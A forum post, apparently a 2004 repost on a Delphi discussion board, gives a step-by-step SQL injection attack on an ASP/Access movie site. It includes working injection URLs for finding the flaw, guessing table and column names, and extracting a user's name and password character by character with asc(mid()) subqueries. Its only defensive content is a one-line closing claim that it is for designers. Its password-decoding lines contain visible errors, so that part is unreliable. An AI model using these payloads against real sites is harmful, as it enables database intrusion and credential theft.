全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:1109
推到 Plurk!
推到 Facebook!

SQL注入網站入侵實例

 
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#1 引用回覆 回覆 發表時間:2004-02-15 04:03:31 IP:61.64.xxx.xxx 未訂閱
SQL注入網站入侵實例 http://www.rvibo.y365.com/rj/hac[69].HTM 受影響系統: 漏洞描述: 1.尋找入口 準備:如果你以前沒嘗試過SQL注入攻擊,那應該把HTTP友好提示關閉,這樣才能讓你清楚看到伺服器端返回的提示資訊。 嘗試幾個有傳入參數的頁面,逐個測試是否有SQL注入漏洞,識別方法爲:把網址欄的ID=***x加個'號,或在表單輸入'號,如果提示運算式錯誤,表示有漏洞可注入,另外,通過這個方式可以得到程式所用的資料庫類型。 經測試,發現有幾個頁面有注入漏洞,決定從http://www.movie.com/movie.asp?ID=1000入手,輸入http://www.movie.com/movie.asp?ID=1000',得到資訊:資料庫用是的ACCESS,提示ArticleID=1000'附近有運算式錯誤,嘿,原來是個用文章系統改出來的電影站。 2.觀察網站環境 網站提供的功能有:影片分類、影片介紹、影片搜索,影片的ID大概從1000-1500之間。 3.猜表名 查清楚敵人情況之後,開始行動,行動的第一步都是從猜表名開始,http://www.movie.com/movie.asp?ID=1000,把1000改成(select count(1) from user),那麽,他原來的SQL語句將會變成: Select [欄位列表] from [影片表] where 影片ID=(select count(1) from user) 如果猜對表名,將有可能出現下面三種情況: A.顯示某部影片的資訊(巧合的情況) B.顯示影片找不到(如果有判斷是否爲EOF) C.提示錯誤資訊(EOF OR BOF) 如果猜錯,將會直接提示找不到表名。 把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用戶,yonghu這些常用表名一個個放進去試,一般成功率都不低於80% 結果,成功猜中該網站的用戶名表名爲users 4.猜列名 至於猜列名,不用我介紹大家都應該清楚怎麽做了,把(select count(1) from users)改成(select count(id) from users),如沒提示"找不到欄位"就表示欄位名是正確的,欄位一般不用太費力,在Login的時候看看表單的名稱就大概可以猜到一些了。 果然,這個網站也不例外,用戶表中欄位爲ID(數位),UserID(文本),Password(文本),積分欄位猜得比較費勁,爲money 5.鎖定目標 讓users表只返回money最多的一個記錄,以便進行猜解、並避免猜中一些沒money的用戶名: http://www.movie.com/movie.asp?ID=(select 1000 from user where money>1000) 結果:提示子查詢不能返回兩條以上記錄 鎖定>10000,提示不變; 鎖定>100000,提示找不到記錄,說明沒有積分大於10萬的用戶; 從1萬到10萬逐步縮小範圍,得知積分大於25500只有一條記錄。 6.計算用戶名及密碼長度 因爲影片的ID大概從1000-1500之間,可以用UserID的長度 1000得出的數(即影片ID)計算用戶名長度,鍵入: http://www.movie.com/movie.asp?ID=(select len(UserID) + 1000 from user where money>25500) +是什麽?因爲位址欄的 號request出來會變成空格,所以 號要用UrlEncode過的+表示。 結果返回片名爲《雙雄》的影片,呵呵,怎麽辦?不是有搜索功能嗎?拿去搜一下,看看影片ID是多少吧。 搜索,得出影片ID是1006,顯然,用戶名長度爲1006-1000=6;同樣方法,得出密碼的長度爲8 7.分步破解用戶名 有點SQL應用經驗的人應該都想到方法了,來,敲入: http://www.movie.com/movie.asp?ID=(select asc(mid(UserID,1,1)) + 1000 from user where money>25500) 呵呵,又返回一部影片,搜索一下,影片ID爲1104,即asc(mid(UserID,1,1))=104 同樣方法,得出: asc(mid(UserID,2,1))=117 asc(mid(UserID,3,1))=97 asc(mid(UserID,4,1))=106 asc(mid(UserID,5,1))=105 asc(mid(UserID,6,1))=101 因爲len(UserID)=6,所以算到第6位就行了,查asc對應表(會編程的可以寫幾句話算出來),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e 連起來,用戶名就是huajie 8.同樣的方法破解密碼 asc(mid(Password,1,1))=49 => chr(49)=1 asc(mid(Password,2,1))=57 => chr(49)=9 asc(mid(Password,3,1))=55 => chr(49)=7 asc(mid(Password,4,1))=56 => chr(49)=8 asc(mid(Password,5,1))=48 => chr(49)=0 asc(mid(Password,6,1))=55 => chr(49)=7 asc(mid(Password,7,1))=55 => chr(49)=1 asc(mid(Password,8,1))=55 => chr(49)=2 拼起來:19780712,哈哈,又是用生日做密碼的! 轉貼此文 不是要教駭客sql手法 是讓設計師有防堵之道
系統時間:2024-11-23 11:56:46
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!